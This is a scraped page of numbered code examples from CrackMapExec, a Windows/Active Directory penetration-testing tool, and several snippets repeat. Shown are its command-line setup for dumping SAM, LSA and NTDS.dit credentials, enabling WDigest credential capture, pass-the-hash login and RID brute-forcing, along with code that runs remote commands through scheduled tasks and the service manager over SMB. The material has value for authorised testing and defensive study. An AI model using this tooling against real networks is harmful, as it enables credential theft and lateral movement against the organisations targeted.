    rgroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, help="Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)")
    rgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history')
    rgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account')
    rgroup.add_argument("--wdigest", choices={'enable', 'disable'}, help="Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1")

    egroup = parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
    egroup.add_argument("--shares", action="store_true", help="Enumerate shares and access")
    egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
    egroup.add_argument("--sessions", action='store_true', help='Enumerate active sessions')
    egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
    egroup.add_argument("--users", action='store_true', help='Enumerate users')
    egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', help='Enumerate users by bruteforcing RID\'s (default: 4000)')
    egroup.add_argument("--pass-pol", action='store_true', help='Dump password policy')
    egroup.add_argument("--lusers", action='store_true', help='Enumerate logged on users')
    egroup.add_argument("--wmi", metavar='QUERY', type=str, help='Issues the specified WMI query')
    egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='//./root/cimv2', help='WMI Namespace (default: //./root/cimv2)')

    sgroup = parser.add_argument_group("Spidering", "Options for spidering shares")
    sgroup.add_argument("--spider", metavar='FOLDER', nargs='?', const='.', type=str, help='Folder to spider (default: root directory)')
    sgroup.add_argument("--content", action='store_true', help='Enable file content searching')
    sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='Directories to exclude from spidering')
    esgroup = sgroup.add_mutually_exclusive_group()
    esgroup.add_argument("--pattern", nargs='+', help='Pattern(s) to search for in folders, filenames and file content')
    esgroup.add_argument("--regex", nargs='+', help='Regex(s) to search for in folders, filenames and file content')
    sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion depth (default: 10)')

    cgroup = parser.add_argument_group("Command Execution", "Options for executing commands")
    cgroup.add_argument('--exec-method', choices={"wmiexec", "smbexec", "atexec"}, default=None, help="Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)")
    cgroup.add_argument('--force-ps32', action='store_true', help='Force the PowerShell command to run in a 32-bit process')
    cgroup.add_argument('--no-output', action='store_true', help='Do not retrieve command output')
    xxxgroup = cgroup.add_mutually_exclusive_group()
    xxxgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="Execute the specified command")
    xxxgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='Execute the specified PowerShell command')

    mgroup = parser.add_argument_group("MSSQL Interaction", "Options for interacting with MSSQL DBs")
    mgroup.add_argument("--mssql", action='store_true', help='Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs')
    mgroup.add_argument("--mssql-query", metavar='QUERY', type=str, help='Execute the specifed query against the MSSQL DB')
    mgroup.add_argument("--mssql-auth", choices={'windows', 'normal'}, default='windows', help='MSSQL authentication type to use (default: windows)')

    logger = CMEAdapter(setup_logger())
    first_run_setup(logger)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)
    
    cme_path = os.path.expanduser('~/.cme')

    module     = None
    chain_list = None
    server     = None
    context    = None
    smb_server = None
    share_name = gen_random_string(5).upper()
    targets    = []

    args = parser.parse_args()

    if args.verbose:
        setup_debug_logger()

    logging.debug('Passed args:\n' + pformat(vars(args)))

    db_path = os.path.join(cme_path, 'cme.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = CMEDatabase(db_connection)

    if args.username:
        for user in args.username:
            if os.path.exists(user):
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if args.password:
        for passw in args.password:
            if os.path.exists(passw):
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif args.hash:
        for ntlm_hash in args.hash:
            if os.path.exists(ntlm_hash):
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error('Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    for target in args.target:
        if os.path.exists(target):
            with open(target, 'r') as target_file:
                for target_entry in target_file:
                    targets.extend(parse_targets(target_entry))
        else:
            targets.extend(parse_targets(target))

    if args.list_modules:
        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        for m in modules:
            logger.info('{:<25} Chainable: {:<10} {}'.format(m, str(modules[m]['chain_support']), modules[m]['description']))
        sys.exit(0)

    elif args.module and args.show_options:
        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        for m in modules.keys():
            if args.module.lower() == m.lower():
                logger.info('{} module options:\n{}'.format(m, modules[m]['options']))
        sys.exit(0)

    if args.execute or args.ps_execute or args.module or args.module_chain:

        if os.geteuid() != 0:
            logger.error("I'm sorry {}, I'm afraid I can't let you do that (cause I need root)".format(getuser()))
            sys.exit(1)

        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        smb_server = CMESMBServer(logger, share_name, args.verbose)
        smb_server.start()

        if args.module:
            for m in modules.keys():
                if args.module.lower() == m.lower():
                    module, context, server = loader.init_module(modules[m]['path'])
        
        elif args.module_chain:
            chain_list, server = ModuleChainLoader(args, db, logger).init_module_chain()

    try:
        '''
            Open all the greenlet (as supposed to redlet??) threads 
            Whoever came up with that name has a fetish for traffic lights
        '''
        pool = Pool(args.threads)
        jobs = [pool.spawn(Connection, args, db, str(target), module, chain_list, server, share_name) for target in targets]

        #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
        if args.ntds or args.spider:
            joinall(jobs)
        elif not args.ntds:
            for job in jobs:
                job.join(timeout=args.timeout)
    except KeyboardInterrupt:
        pass

    if server:
        server.shutdown()

    if smb_server:
        smb_server.shutdown()

    logger.info('KTHXBYE!')
Exemple #28
0
def main():

    VERSION = '3.1.5-dev'
    CODENAME = '\'Stoofvlees\''

    parser = argparse.ArgumentParser(
        description=""" 
      ______ .______           ___        ______  __  ___ .___  ___.      ___      .______    _______ ___   ___  _______   ______ 
     /      ||   _  \         /   \      /      ||  |/  / |   \/   |     /   \     |   _  \  |   ____|\  \ /  / |   ____| /      |
    |  ,----'|  |_)  |       /  ^  \    |  ,----'|  '  /  |  \  /  |    /  ^  \    |  |_)  | |  |__    \  V  /  |  |__   |  ,----'
    |  |     |      /       /  /_\  \   |  |     |    <   |  |\/|  |   /  /_\  \   |   ___/  |   __|    >   <   |   __|  |  |     
    |  `----.|  |\  \----. /  _____  \  |  `----.|  .  \  |  |  |  |  /  _____  \  |  |      |  |____  /  .  \  |  |____ |  `----.
     \______|| _| `._____|/__/     \__\  \______||__|\__\ |__|  |__| /__/     \__\ | _|      |_______|/__/ \__\ |_______| \______|


                     Swiss army knife for pentesting Windows/Active Directory environments | @byt3bl33d3r

                           Powered by Impacket https://github.com/CoreSecurity/impacket (@agsolino)

                                                       Inspired by:
                                @ShawnDEvans's smbmap https://github.com/ShawnDEvans/smbmap
                                @gojhonny's CredCrack https://github.com/gojhonny/CredCrack
                                @pentestgeek's smbexec https://github.com/pentestgeek/smbexec
                                                         
                                                      {}: {}
                                                  {}: {}
    """.format(highlight('Version', 'red'), highlight(VERSION),
               highlight('Codename', 'red'), highlight(CODENAME)),
        formatter_class=RawTextHelpFormatter,
        version='{} - {}'.format(VERSION, CODENAME),
        epilog="What is it? It's a stew... But what is it? It's a stew...")

    parser.add_argument(
        "target",
        nargs='*',
        type=str,
        help=
        "The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets"
    )
    parser.add_argument(
        "-t",
        type=int,
        dest="threads",
        default=100,
        help="Set how many concurrent threads to use (default: 100)")
    parser.add_argument(
        '-id',
        metavar="CRED_ID",
        nargs='+',
        default=[],
        type=str,
        dest='cred_id',
        help='Database credential ID(s) to use for authentication')
    parser.add_argument("-u",
                        metavar="USERNAME",
                        dest='username',
                        nargs='+',
                        default=[],
                        help="Username(s) or file(s) containing usernames")
    ddgroup = parser.add_mutually_exclusive_group()
    ddgroup.add_argument("-d",
                         metavar="DOMAIN",
                         dest='domain',
                         type=str,
                         help="Domain name")
    ddgroup.add_argument("--local-auth",
                         action='store_true',
                         help='Authenticate locally to each target')
    msgroup = parser.add_mutually_exclusive_group()
    msgroup.add_argument("-p",
                         metavar="PASSWORD",
                         dest='password',
                         nargs='+',
                         default=[],
                         help="Password(s) or file(s) containing passwords")
    msgroup.add_argument(
        "-H",
        metavar="HASH",
        dest='hash',
        nargs='+',
        default=[],
        help='NTLM hash(es) or file(s) containing NTLM hashes')
    mcgroup = parser.add_mutually_exclusive_group()
    mcgroup.add_argument("-M",
                         "--module",
                         metavar='MODULE',
                         help='Payload module to use')
    mcgroup.add_argument('-MC',
                         '--module-chain',
                         metavar='CHAIN_COMMAND',
                         help='Payload module chain command string to run')
    parser.add_argument('-o',
                        metavar='MODULE_OPTION',
                        nargs='+',
                        default=[],
                        dest='module_options',
                        help='Payload module options')
    parser.add_argument('-L',
                        '--list-modules',
                        action='store_true',
                        help='List available modules')
    parser.add_argument('--show-options',
                        action='store_true',
                        help='Display module options')
    parser.add_argument("--share",
                        metavar="SHARE",
                        default="C$",
                        help="Specify a share (default: C$)")
    parser.add_argument("--smb-port",
                        type=int,
                        choices={139, 445},
                        default=445,
                        help="SMB port (default: 445)")
    parser.add_argument("--mssql-port",
                        default=1433,
                        type=int,
                        metavar='PORT',
                        help='MSSQL port (default: 1433)')
    parser.add_argument("--server",
                        choices={'http', 'https'},
                        default='https',
                        help='Use the selected server (default: https)')
    parser.add_argument("--server-host",
                        type=str,
                        default='0.0.0.0',
                        metavar='HOST',
                        help='IP to bind the server to (default: 0.0.0.0)')
    parser.add_argument("--server-port",
                        metavar='PORT',
                        type=int,
                        help='Start the server on the specified port')
    parser.add_argument(
        "--timeout",
        default=20,
        type=int,
        help='Max timeout in seconds of each thread (default: 20)')
    fail_group = parser.add_mutually_exclusive_group()
    fail_group.add_argument("--gfail-limit",
                            metavar='LIMIT',
                            type=int,
                            help='Max number of global failed login attempts')
    fail_group.add_argument(
        "--ufail-limit",
        metavar='LIMIT',
        type=int,
        help='Max number of failed login attempts per username')
    fail_group.add_argument(
        "--fail-limit",
        metavar='LIMIT',
        type=int,
        help='Max number of failed login attempts per host')
    parser.add_argument("--verbose",
                        action='store_true',
                        help="Enable verbose output")

    rgroup = parser.add_argument_group("Credential Gathering",
                                       "Options for gathering credentials")
    rgroup.add_argument("--sam",
                        action='store_true',
                        help='Dump SAM hashes from target systems')
    rgroup.add_argument("--lsa",
                        action='store_true',
                        help='Dump LSA secrets from target systems')
    rgroup.add_argument(
        "--ntds",
        choices={'vss', 'drsuapi'},
        help=
        "Dump the NTDS.dit from target DCs using the specifed method\n(drsuapi is the fastest)"
    )
    rgroup.add_argument("--ntds-history",
                        action='store_true',
                        help='Dump NTDS.dit password history')
    rgroup.add_argument(
        "--ntds-pwdLastSet",
        action='store_true',
        help='Shows the pwdLastSet attribute for each NTDS.dit account')
    rgroup.add_argument(
        "--wdigest",
        choices={'enable', 'disable'},
        help=
        "Creates/Deletes the 'UseLogonCredential' registry key enabling WDigest cred dumping on Windows >= 8.1"
    )

    egroup = parser.add_argument_group("Mapping/Enumeration",
                                       "Options for Mapping/Enumerating")
    egroup.add_argument("--shares",
                        action="store_true",
                        help="Enumerate shares and access")
    egroup.add_argument('--uac', action='store_true', help='Checks UAC status')
    egroup.add_argument("--sessions",
                        action='store_true',
                        help='Enumerate active sessions')
    egroup.add_argument('--disks', action='store_true', help='Enumerate disks')
    egroup.add_argument("--users", action='store_true', help='Enumerate users')
    egroup.add_argument(
        "--rid-brute",
        nargs='?',
        const=4000,
        metavar='MAX_RID',
        help='Enumerate users by bruteforcing RID\'s (default: 4000)')
    egroup.add_argument("--pass-pol",
                        action='store_true',
                        help='Dump password policy')
    egroup.add_argument("--lusers",
                        action='store_true',
                        help='Enumerate logged on users')
    egroup.add_argument("--wmi",
                        metavar='QUERY',
                        type=str,
                        help='Issues the specified WMI query')
    egroup.add_argument("--wmi-namespace",
                        metavar='NAMESPACE',
                        default='//./root/cimv2',
                        help='WMI Namespace (default: //./root/cimv2)')

    sgroup = parser.add_argument_group("Spidering",
                                       "Options for spidering shares")
    sgroup.add_argument("--spider",
                        metavar='FOLDER',
                        nargs='?',
                        const='.',
                        type=str,
                        help='Folder to spider (default: root directory)')
    sgroup.add_argument("--content",
                        action='store_true',
                        help='Enable file content searching')
    sgroup.add_argument("--exclude-dirs",
                        type=str,
                        metavar='DIR_LIST',
                        default='',
                        help='Directories to exclude from spidering')
    esgroup = sgroup.add_mutually_exclusive_group()
    esgroup.add_argument(
        "--pattern",
        nargs='+',
        help='Pattern(s) to search for in folders, filenames and file content')
    esgroup.add_argument(
        "--regex",
        nargs='+',
        help='Regex(s) to search for in folders, filenames and file content')
    sgroup.add_argument("--depth",
                        type=int,
                        default=10,
                        help='Spider recursion depth (default: 10)')

    cgroup = parser.add_argument_group("Command Execution",
                                       "Options for executing commands")
    cgroup.add_argument(
        '--exec-method',
        choices={"wmiexec", "smbexec", "atexec"},
        default=None,
        help=
        "Method to execute the command. Ignored if in MSSQL mode (default: wmiexec)"
    )
    cgroup.add_argument(
        '--force-ps32',
        action='store_true',
        help='Force the PowerShell command to run in a 32-bit process')
    cgroup.add_argument('--no-output',
                        action='store_true',
                        help='Do not retrieve command output')
    xxxgroup = cgroup.add_mutually_exclusive_group()
    xxxgroup.add_argument("-x",
                          metavar="COMMAND",
                          dest='execute',
                          help="Execute the specified command")
    xxxgroup.add_argument("-X",
                          metavar="PS_COMMAND",
                          dest='ps_execute',
                          help='Execute the specified PowerShell command')

    mgroup = parser.add_argument_group(
        "MSSQL Interaction", "Options for interacting with MSSQL DBs")
    mgroup.add_argument(
        "--mssql",
        action='store_true',
        help=
        'Switches CME into MSSQL Mode. If credentials are provided will authenticate against all discovered MSSQL DBs'
    )
    mgroup.add_argument("--mssql-query",
                        metavar='QUERY',
                        type=str,
                        help='Execute the specifed query against the MSSQL DB')
    mgroup.add_argument(
        "--mssql-auth",
        choices={'windows', 'normal'},
        default='windows',
        help='MSSQL authentication type to use (default: windows)')

    logger = CMEAdapter(setup_logger())
    first_run_setup(logger)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    cme_path = os.path.expanduser('~/.cme')

    module = None
    chain_list = None
    server = None
    context = None
    smb_server = None
    share_name = gen_random_string(5).upper()
    targets = []

    args = parser.parse_args()

    if args.verbose:
        setup_debug_logger()

    logging.debug('Passed args:\n' + pformat(vars(args)))

    db_path = os.path.join(cme_path, 'cme.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = CMEDatabase(db_connection)

    if args.username:
        for user in args.username:
            if os.path.exists(user):
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if args.password:
        for passw in args.password:
            if os.path.exists(passw):
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif args.hash:
        for ntlm_hash in args.hash:
            if os.path.exists(ntlm_hash):
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error(
                        'Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    for target in args.target:
        if os.path.exists(target):
            with open(target, 'r') as target_file:
                for target_entry in target_file:
                    targets.extend(parse_targets(target_entry))
        else:
            targets.extend(parse_targets(target))

    if args.list_modules:
        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        for m in modules:
            logger.info('{:<25} Chainable: {:<10} {}'.format(
                m, str(modules[m]['chain_support']),
                modules[m]['description']))
        sys.exit(0)

    elif args.module and args.show_options:
        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        for m in modules.keys():
            if args.module.lower() == m.lower():
                logger.info('{} module options:\n{}'.format(
                    m, modules[m]['options']))
        sys.exit(0)

    if args.execute or args.ps_execute or args.module or args.module_chain:

        if os.geteuid() != 0:
            logger.error(
                "I'm sorry {}, I'm afraid I can't let you do that (cause I need root)"
                .format(getuser()))
            sys.exit(1)

        loader = ModuleLoader(args, db, logger)
        modules = loader.get_modules()

        smb_server = CMESMBServer(logger, share_name, args.verbose)
        smb_server.start()

        if args.module:
            for m in modules.keys():
                if args.module.lower() == m.lower():
                    module, context, server = loader.init_module(
                        modules[m]['path'])

        elif args.module_chain:
            chain_list, server = ModuleChainLoader(args, db,
                                                   logger).init_module_chain()

    try:
        '''
            Open all the greenlet (as supposed to redlet??) threads 
            Whoever came up with that name has a fetish for traffic lights
        '''
        pool = Pool(args.threads)
        jobs = [
            pool.spawn(Connection, args, db, str(target), module, chain_list,
                       server, share_name) for target in targets
        ]

        #Dumping the NTDS.DIT and/or spidering shares can take a long time, so we ignore the thread timeout
        if args.ntds or args.spider:
            joinall(jobs)
        elif not args.ntds:
            for job in jobs:
                job.join(timeout=args.timeout)
    except KeyboardInterrupt:
        pass

    if server:
        server.shutdown()

    if smb_server:
        smb_server.shutdown()

    logger.info('KTHXBYE!')
Exemple #29
0
 def __init__(self, smbconnection, logger):
     self.smbconnection = smbconnection
     self.logger = logger
     self.permissions = {}
     self.root = ntpath.normpath("\\" + gen_random_string())
Exemple #30
0
    def options(self, context, module_options):
        '''
        '''

        self.obfs_name = gen_random_string()
Exemple #31
0
    def doStuff(self, command, fileless=False):

        dce = self.__rpctransport.get_dce_rpc()

        dce.set_credentials(*self.__rpctransport.get_credentials())
        dce.connect()
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(tsch.MSRPC_UUID_TSCHS)
        tmpName = gen_random_string(8)
        tmpFileName = tmpName + '.tmp'

        xml = self.gen_xml(command, tmpFileName, fileless)

        #logging.info("Task XML: {}".format(xml))
        taskCreated = False
        logging.info('Creating task \\%s' % tmpName)
        tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE,
                                 NULL, tsch.TASK_LOGON_NONE)
        taskCreated = True

        logging.info('Running task \\%s' % tmpName)
        tsch.hSchRpcRun(dce, '\\%s' % tmpName)

        done = False
        while not done:
            logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
            resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
            if resp['pLastRuntime']['wYear'] != 0:
                done = True
            else:
                sleep(2)

        logging.info('Deleting task \\%s' % tmpName)
        tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
        taskCreated = False

        if taskCreated is True:
            tsch.hSchRpcDelete(dce, '\\%s' % tmpName)

        if self.__retOutput:
            if fileless:
                while True:
                    try:
                        with open(
                                os.path.join('/tmp', 'cme_hosted',
                                             tmpFileName), 'r') as output:
                            self.output_callback(output.read())
                        break
                    except IOError:
                        sleep(2)
            else:
                peer = ':'.join(
                    map(str,
                        self.__rpctransport.get_socket().getpeername()))
                smbConnection = self.__rpctransport.get_smb_connection()
                while True:
                    try:
                        #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
                        smbConnection.getFile('ADMIN$',
                                              'Temp\\%s' % tmpFileName,
                                              self.output_callback)
                        break
                    except Exception as e:
                        if str(e).find('SHARING') > 0:
                            sleep(3)
                        elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                            sleep(3)
                        else:
                            raise
                #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
                smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)

        dce.disconnect()
Exemple #32
0
    def doStuff(self, command, fileless=False):

        dce = self.__rpctransport.get_dce_rpc()

        dce.set_credentials(*self.__rpctransport.get_credentials())
        dce.connect()
        #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY)
        dce.bind(tsch.MSRPC_UUID_TSCHS)
        tmpName = gen_random_string(8)
        tmpFileName = tmpName + '.tmp'

        xml = self.gen_xml(command, tmpFileName, fileless)

        #logging.info("Task XML: {}".format(xml))
        taskCreated = False
        logging.info('Creating task \\%s' % tmpName)
        tsch.hSchRpcRegisterTask(dce, '\\%s' % tmpName, xml, tsch.TASK_CREATE, NULL, tsch.TASK_LOGON_NONE)
        taskCreated = True

        logging.info('Running task \\%s' % tmpName)
        tsch.hSchRpcRun(dce, '\\%s' % tmpName)

        done = False
        while not done:
            logging.debug('Calling SchRpcGetLastRunInfo for \\%s' % tmpName)
            resp = tsch.hSchRpcGetLastRunInfo(dce, '\\%s' % tmpName)
            if resp['pLastRuntime']['wYear'] != 0:
                done = True
            else:
                sleep(2)

        logging.info('Deleting task \\%s' % tmpName)
        tsch.hSchRpcDelete(dce, '\\%s' % tmpName)
        taskCreated = False

        if taskCreated is True:
            tsch.hSchRpcDelete(dce, '\\%s' % tmpName)

        if self.__retOutput:
            if fileless:
                while True:
                    try:
                        with open(os.path.join('/tmp', 'cme_hosted', tmpFileName), 'r') as output:
                            self.output_callback(output.read())
                        break
                    except IOError:
                        sleep(2)
            else:
                peer = ':'.join(map(str, self.__rpctransport.get_socket().getpeername()))
                smbConnection = self.__rpctransport.get_smb_connection()
                while True:
                    try:
                        #logging.info('Attempting to read ADMIN$\\Temp\\%s' % tmpFileName)
                        smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, self.output_callback)
                        break
                    except Exception as e:
                        if str(e).find('SHARING') > 0:
                            sleep(3)
                        elif str(e).find('STATUS_OBJECT_NAME_NOT_FOUND') >= 0:
                            sleep(3)
                        else:
                            raise
                #logging.debug('Deleting file ADMIN$\\Temp\\%s' % tmpFileName)
                smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName)

        dce.disconnect()
Exemple #33
0
    def options(self, context, module_options):
        '''
        '''

        self.obfs_name = gen_random_string()
Exemple #34
0
 def __init__(self, connection):
     self.smbconnection = connection.conn
     self.logger = connection.logger
     self.permissions = {}
     self.root = ntpath.normpath("\\" + gen_random_string())
Exemple #35
0
    def __init__(self,
                 host,
                 protocol,
                 username='',
                 password='',
                 domain='',
                 hashes=None,
                 share=None,
                 port=445):
        self.__host = host
        self.__port = port
        self.__username = username
        self.__password = password
        self.__serviceName = gen_random_string()
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__share = share
        self.__output = None
        self.__batchFile = None
        self.__outputBuffer = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__retOutput = False
        self.__rpctransport = None
        self.__scmr = None
        self.__conn = None
        #self.__mode  = mode
        #self.__aesKey = aesKey
        #self.__doKerberos = doKerberos

        if hashes is not None:
            #This checks to see if we didn't provide the LM Hash
            if hashes.find(':') != -1:
                self.__lmhash, self.__nthash = hashes.split(':')
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = ''

        stringbinding = 'ncacn_np:%s[\pipe\svcctl]' % self.__host
        logging.debug('StringBinding %s' % stringbinding)
        self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
        self.__rpctransport.set_dport(self.__port)

        if hasattr(self.__rpctransport, 'setRemoteHost'):
            self.__rpctransport.setRemoteHost(self.__host)
        if hasattr(self.__rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            self.__rpctransport.set_credentials(self.__username,
                                                self.__password, self.__domain,
                                                self.__lmhash, self.__nthash)
        #rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)

        self.__scmr = self.__rpctransport.get_dce_rpc()
        self.__scmr.connect()
        s = self.__rpctransport.get_smb_connection()
        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = self.__rpctransport.get_smb_connection()
Exemple #36
0
    def __init__(self,
                 host,
                 protocol,
                 username='',
                 password='',
                 domain='',
                 hashes=None,
                 share=None):
        self.__host = host
        self.__username = username
        self.__password = password
        self.__serviceName = gen_random_string()
        self.__domain = domain
        self.__lmhash = ''
        self.__nthash = ''
        self.__share = share
        self.__output = '\\Windows\\Temp\\' + gen_random_string()
        self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat'
        self.__outputBuffer = ''
        self.__shell = '%COMSPEC% /Q /c '
        self.__retOutput = False
        self.__rpctransport = None
        self.__scmr = None
        self.__conn = None
        #self.__mode  = mode
        #self.__aesKey = aesKey
        #self.__doKerberos = doKerberos

        if hashes is not None:
            #This checks to see if we didn't provide the LM Hash
            if hashes.find(':') != -1:
                self.__lmhash, self.__nthash = hashes.split(':')
            else:
                self.__nthash = hashes

        if self.__password is None:
            self.__password = ''

        protodef = SMBEXEC.KNOWN_PROTOCOLS['{}/SMB'.format(protocol)]
        port = protodef[1]

        stringbinding = protodef[0] % self.__host

        self.__rpctransport = transport.DCERPCTransportFactory(stringbinding)
        self.__rpctransport.set_dport(port)

        if hasattr(self.__rpctransport, 'preferred_dialect'):
            self.__rpctransport.preferred_dialect(SMB_DIALECT)
        if hasattr(self.__rpctransport, 'set_credentials'):
            # This method exists only for selected protocol sequences.
            self.__rpctransport.set_credentials(self.__username,
                                                self.__password, self.__domain,
                                                self.__lmhash, self.__nthash)
        #rpctransport.set_kerberos(self.__doKerberos)

        self.__scmr = self.__rpctransport.get_dce_rpc()
        self.__scmr.connect()
        s = self.__rpctransport.get_smb_connection()
        # We don't wanna deal with timeouts from now on.
        s.setTimeout(100000)

        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
        resp = scmr.hROpenSCManagerW(self.__scmr)
        self.__scHandle = resp['lpScHandle']
        self.transferClient = self.__rpctransport.get_smb_connection()